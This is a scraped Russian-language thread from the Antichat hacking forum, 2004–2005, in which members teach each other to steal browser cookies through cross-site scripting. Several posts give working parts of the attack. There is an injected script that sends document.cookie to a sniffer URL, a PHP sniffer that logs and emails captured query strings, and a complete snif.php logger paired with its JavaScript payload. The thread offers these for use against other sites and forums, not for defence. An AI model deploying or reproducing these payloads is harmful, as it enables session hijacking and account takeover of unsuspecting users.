Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Вопрос про отправку кук на сниффер http://antichat.ru/cgi-bin/s.jpg? (https://forum.antichat.xyz/showthread.php?t=2333)

23.07.2004 19:11

Вопрос про отправку кук на сниффер http://antichat.ru/cgi-bin/s.jpg?
 
Я конечно дико извиняюсь за свое ламерство, но скажите мне пожалуйста вот что:
Что мне нужно ставить после http://antichat.ru/cgi-bin/s.jpg? чтобы он отправил мне куки? (+document.cookie не катит...или я совсем дурак =( т.е. сниффер прокатывает, лог ведется, а куки не отправляются

Algol 23.07.2004 19:28

В примерах же описано
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
[/QUOTE]<span id='postcolor'>

Liss 23.07.2004 20:24

че то вот эта связка как раз и не работает. Я тестил так: создал док. на локальном компе и сам же туда и зашел. В логах отобразилось что я там был, но куков не отправилось

Algol 24.07.2004 00:55

Парень, почитай что такое куки вообще.... А потом уже задавай вопросы...

Че Гевара 25.07.2004 17:08

Liss, с помощью джаваскрипта можно получить кукисы только текущего документа ...

Если вставить сниффер, например, на главную страничку античата, то содержимое кукисов будет:
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
hotlog=1; hotlog=1
[/QUOTE]<span id='postcolor'>
Это кукисы счетчика хотлог ...

Как видишь, куки от mail.ru здесь не фигурируют ... http://forum.antichat.ru/iB_html/non...icons/wink.gif

zFailure 29.07.2004 08:05

проще говоря
для каждого домена свои куки
соответственно, в каком домене исполняется JavaScript к тем кукам он и имеет доступ

жека 10.10.2004 17:12

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Algol @ июля 23 2004,19:28)</td></tr><tr><td id="QUOTE">В примерах же описано
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
[/QUOTE]<span id='postcolor'>[/QUOTE]<span id='postcolor'>
Шановний, а ви не могли б розповісти, як вставити ЦЕ в повідомлення, якщо на форумі нема тегу [video] (не знаю чому http://forum.antichat.ru/iB_html/non...ticons/sad.gif )? Будь-ласка, без жаргону, а то ламери типу мене не розуміють...

Algol 11.10.2004 12:20

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (жека @ октября 10 2004,17:12)</td></tr><tr><td id="QUOTE">Шановний, а ви не могли б розповісти, як вставити ЦЕ в повідомлення, якщо на форумі нема тегу [video] (не знаю чому http://forum.antichat.ru/iB_html/non...ticons/sad.gif )? Будь-ласка, без жаргону, а то ламери типу мене не розуміють...[/QUOTE]<span id='postcolor'>
Что бы мы все тут делали, если бы это было так легко рассказать? ))
Это ж искусство))

DOKTOP_CMEPTb 11.10.2004 16:14

А это че озназает - img = new Image();
Скажите Пллиз !!!

zFailure 11.10.2004 19:54

переменной img присваевается талько что созданный экземпляр объекта класса &nbsp;Image

ну короче картинка с именем img создается по простому

salop 13.10.2004 19:31

<script&gt;img = new Image(); img.src = &quot;http://antichat.ru/cgi-bin/s.jpg?&quot;+d...lt;/script&gt;
а на пшп какой функцией получить куки ?

например есть
&lt;?
$adr = &quot;&quot;.getenv(&quot;HTTP_REFERER&quot;).&quo t;&quot;;
print $adr
?&gt;
что нужно добавить ?

zFailure 13.10.2004 19:43

$_COOKIE[&quot;переменная&quot;];

или массив
implode('', $_COOKIE);

salop 13.10.2004 20:03

спасибо тебе

salop 13.10.2004 20:09

чтото неполучаеться у меня...можеш написать код пожалуйста ?

zFailure 13.10.2004 23:47

если ты имеешь ввиду код снифера, то вот

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><?

$filename = 'sniff.txt';
$somecontent = date("l dS of F Y h:i:s A") .
"\r\nSERVER_ADDR = " . $_SERVER["SERVER_ADDR"] .
(isset($_SERVER["HTTP_REFERER"]) ? "\r\nHTTP_REFERER = " . $_SERVER["HTTP_REFERER"] : '') .
"\r\nQUERY_STRING = " . $_SERVER["QUERY_STRING"] . "\r\n\r\n";

mail('mail@addr.com', 'sniff', $somecontent);

// Let's make sure the file exists and is writable first.
if (is_writable($filename)) {

// In our example we're opening $filename in append mode.
// The file pointer is at the bottom of the file hence
// that's where $somecontent will go when we fwrite() it.
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}

// Write $somecontent to our opened file.
if (fwrite($handle, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}

//echo "Success, wrote ($somecontent) to file ($filename)";

fclose($handle);

} else {
echo "The file $filename is not writable";
}

?>[/QUOTE]<span id='postcolor'>

salop 13.10.2004 23:57

спасибо...пригодиться...но этот снифер не тянет куки

zFailure 14.10.2004 09:03

этот снифер тянет все что ему дать

а куки можно утянуть только одним способом
...='http://.../1.php?'+document.cookie т.е. через QUERY_STRING

Algol 14.10.2004 13:57

2salop
Тянуть куки пхп-шным $_COOKIE[&quot;переменная&quot;]; бесполезно, поскольку так ты получишь совсем не те куки, на которые рассчитываешь))

X-Seven 13.11.2004 02:36

А как этим сниффером можно потянуть куки phpbb2.0.10?
Если вставлять через [img] как картинку,то в логах
фиксируется только ip и урл.Есть какие-нибудь способы?

Zadoxlik 22.07.2005 14:54

Цитата:

Сообщение от жека
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Algol @ июля 23 2004,19:28)</td></tr><tr><td id="QUOTE">В примерах же описано
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>

<span id='postcolor'>[/QUOTE]<span id='postcolor'>
Шановний, а ви не могли б розповісти, як вставити ЦЕ в повідомлення, якщо на форумі нема тегу [video] (не знаю чому http://forum.antichat.ru/iB_html/non...ticons/sad.gif )? Будь-ласка, без жаргону, а то ламери типу мене не розуміють...[/QUOTE]



Ой не могу =))) сердце аж прихватило =)))) я плакаль

ProTeuS 23.07.2005 05:44

Цитата:

Сообщение от Zadoxlik
<span id='postcolor'>

<span id='postcolor'>
Шановний, а ви не могли б розповісти, як вставити ЦЕ в повідомлення, якщо на форумі нема тегу [video] (не знаю чому http://forum.antichat.ru/iB_html/non...ticons/sad.gif )? Будь-ласка, без жаргону, а то ламери типу мене не розуміють...[/QUOTE]



Ой не могу =))) сердце аж прихватило =)))) я плакаль[/QUOTE]

4ому, зви4айнісенький собі пост, тільки для тупих ламерів :)))

kir0k 24.07.2005 20:56

я например юзаю свой простейший сниффер, snif.php:
<?
if (!empty($_GET['id'])) {
$b="\n---beginning---\n";
$id=$_GET['id'];
$e="\n------end------";
$p=fopen("c.txt","a");
fputs($p,$b);
fputs($p,$id);
fputs($p,$e);
fclose($p);
echo "<script>window.close();</script>";
}
else
echo "\nUnknown error!";
?>
а потом вставляю такой javascript:
<script>img = new Image(); img.src = "http://mysite.ru/snif.php?id="+document.cookie;</script>


Время: 04:55